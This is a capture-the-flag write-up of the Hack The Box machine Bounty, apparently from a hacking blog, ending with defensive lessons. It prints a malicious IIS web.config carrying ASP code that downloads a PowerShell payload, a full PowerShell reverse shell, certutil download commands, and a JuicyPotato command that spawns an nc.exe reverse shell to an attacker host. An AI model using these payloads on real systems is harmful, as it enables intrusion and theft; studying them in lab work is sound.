root@thehacksparrow:~/writeups$ SYSTEM ONLINE
root@sparrow:~/writeups$ cat bounty.md
// writeups

Bounty

16 Jun 2018 · 10 min read
Bounty - maquina de Hack The Box

Executive summary — Bounty is an Easy Windows box with a very elegant trick: an IIS 7.5 upload form filters .aspx, but allows uploading a web.config that reconfigures the server itself to treat .config as an executable script — and the same file embeds classic ASP code that downloads and launches a reverse shell, giving RCE as merlin. That service account holds SeImpersonatePrivilege, so we escalate to SYSTEM by abusing a privileged COM service with JuicyPotato. Path: web.config → RCE → SeImpersonate → JuicyPotato → SYSTEM.

PlatformHack The Box
Operating systemWindows
DifficultyEasy
StatusRetired
Target IP10.129.26.226

Attack map

[80] IIS 7.5 → /transfer.aspx (file upload)
   │  filters .aspx, but allows uploading web.config → embedded ASP → RCE
   ▼
[SHELL]  bounty\merlin  (user.txt)
   │  whoami /priv → SeImpersonatePrivilege
   ▼
[SYSTEM]  JuicyPotato (SeImpersonate abuse)

1. Reconnaissance

Full port scan first, service enumeration second: on HTB Easy boxes the attack surface is usually small, and it pays off to rule out the rest quickly.

nmap -p- --min-rate 5000 -T4 10.129.26.226
nmap -p 80 -sC -sV 10.129.26.226
80/tcp  open  http  Microsoft IIS httpd 7.5

A single open port: 80/HTTP, served by IIS 7.5 with an ASP.NET backend. Confirms Windows, and that the entry point has to be the web application.

2. Web enumeration

gobuster dir -u http://10.129.26.226 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x aspx
/transfer.aspx
/UploadedFiles/

/transfer.aspx is a file upload form and /UploadedFiles/ is the directory where uploaded files land, served directly by IIS. The form filters dangerous extensions: uploading a .aspx file directly is rejected.

3. Upload bypass — the web.config payload

The key idea: even though .aspx is blocked, nothing stops us from uploading a file named web.config. That file is IIS's own native configuration file for the folder it sits in, and the server interprets it the moment it exists — the upload filter never needs to recognize it as "executable".

The uploaded web.config does two things at once. First, under <handlers>, it maps any request for *.config to the asp.dll processor — turning .config files in that folder into executable ASP scripts. Second, under <requestFiltering>, it removes the two default IIS protections that stop web.config from being served directly: it strips it from the blocked extensions list (fileExtensions) and from the hidden segments list (hiddenSegments). Net result: web.config itself becomes requestable and executable, just like an .asp file. Below the XML configuration, it embeds classic ASP in VBScript that uses WScript.Shell to spawn PowerShell and download a reverse shell:

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
   <system.webServer>
      <handlers accessPolicy="Read, Script, Write">
         <add name="web_config" path="*.config" verb="*" modules="IsapiModule"
         scriptProcessor="%windir%\system32\inetsrv\asp.dll"
         resourceType="Unspecified" requireAccess="Write"
         preCondition="bitness64" />
      </handlers>
      <security>
         <requestFiltering>
            <fileExtensions>
               <remove fileExtension=".config" />
            </fileExtensions>
            <hiddenSegments>
               <remove segment="web.config" />
            </hiddenSegments>
         </requestFiltering>
      </security>
   </system.webServer>
</configuration>

<%@ Language=VBScript %>
<%
Set shell = Server.CreateObject("WScript.Shell")
shell.Run "cmd.exe /c powershell -nop -c IEX(New-Object Net.WebClient).DownloadString('http://<ATTACKER_IP>:8000/shell.ps1')"
%>

4. Reverse shell and triggering RCE

The downloaded reverse shell (shell.ps1) is a pure PowerShell TCP client: it opens a socket to our IP, forwards every command it receives to cmd /c, and sends the output back over the same socket.

$client = New-Object System.Net.Sockets.TCPClient("<ATTACKER_IP>",4444);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);
$sendback = (cmd /c $data 2>&1 | Out-String);
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()
}
$client.Close()

We serve the script and set up the listener:

python3 -m http.server 8000
nc -lvnp 4444

We upload web.config through /transfer.aspx and trigger execution by simply visiting its path under /UploadedFiles/ — IIS processes it as ASP the moment it receives the request:

http://10.129.26.226/UploadedFiles/web.config
whoami  →  bounty\merlin

RCE confirmed as the merlin service account.

5. user.txt

user.txt is marked as a hidden file; a plain dir won't list it — /a is needed to show hidden attributes.

cd C:\Users\merlin\Desktop
dir /a
type user.txt

6. Privilege escalation — SeImpersonate + JuicyPotato

We check the current token's privileges:

whoami /priv
SeImpersonatePrivilege   Enabled

What it means: SeImpersonatePrivilege lets you impersonate the security token of another process that authenticates to us. It's a common privilege on IIS/SQL/etc. service accounts, and practically a guaranteed path to SYSTEM via the *Potato exploit family. JuicyPotato tricks a privileged COM service (running as SYSTEM) into authenticating to a local listener we control, then steals that token to launch an arbitrary process with it. Success depends on context — in particular, IIS running in 32-bit mode, as it does on this box.

We download the tools on Kali and serve them:

wget https://github.com/ohpe/juicy-potato/releases/download/v0.1/JuicyPotato.exe
wget https://github.com/int0x33/nc.exe/raw/master/nc.exe
python3 -m http.server 8000

We fetch them on the victim with certutil (no PowerShell IEX involved in this step, avoiding unnecessary AMSI exposure):

cd C:\Users\merlin\AppData\Local\Temp
certutil -urlcache -f http://<ATTACKER_IP>:8000/JuicyPotato.exe jp.exe
certutil -urlcache -f http://<ATTACKER_IP>:8000/nc.exe nc.exe

Listener, then run the exploit, spawning cmd.exe with the stolen token so it opens a reverse shell via nc.exe:

nc -lvnp 5555
.\jp.exe -l 5555 -p C:\Windows\System32\cmd.exe -a "/c C:\Users\merlin\AppData\Local\Temp\nc.exe -e cmd.exe <ATTACKER_IP> 5555" -t *
whoami  →  nt authority\system

7. root.txt

cd C:\Users\Administrator\Desktop
type root.txt

System fully compromised. 🏴‍☠️

Vulnerability summary

PhaseComponentVulnerabilityImpact
FootholdIIS 7.5 (upload at /transfer.aspx)Extension filter bypassed by uploading a web.config that reconfigures IIS to execute .config as ASPRCE as merlin
Post-exploitationWindows (NTFS permissions)user.txt flagged hidden, doesn't prevent reading itUser flag read
PrivEscService account (32-bit IIS)SeImpersonatePrivilege abused via JuicyPotato (COM hijacking)SYSTEM

Lessons learned

  • Extension blacklists fail: blocking .aspx isn't enough if web.config can still be uploaded — it's just as executable as any script once IIS processes it. Use a strict whitelist and validate content, not just the extension.
  • Don't serve uploaded content from a folder that's both writable and execution-enabled. An uploads directory should deny script execution outright, including the server's own configuration files.
  • SeImpersonatePrivilege on a service account is, in practice, a guaranteed escalation path via JuicyPotato/RoguePotato/PrintSpoofer. If the service doesn't need that privilege, revoke it.
  • JuicyPotato's success depends on context (typically a 32-bit IIS worker process); it's worth confirming the architecture before ruling the technique out.
  • Always check whoami /priv right after landing a Windows shell — it saves time versus blindly trying kernel exploits.
  • A "hidden" file is not a security control: dir /a reveals it effortlessly. Don't rely on filesystem attributes to protect sensitive data.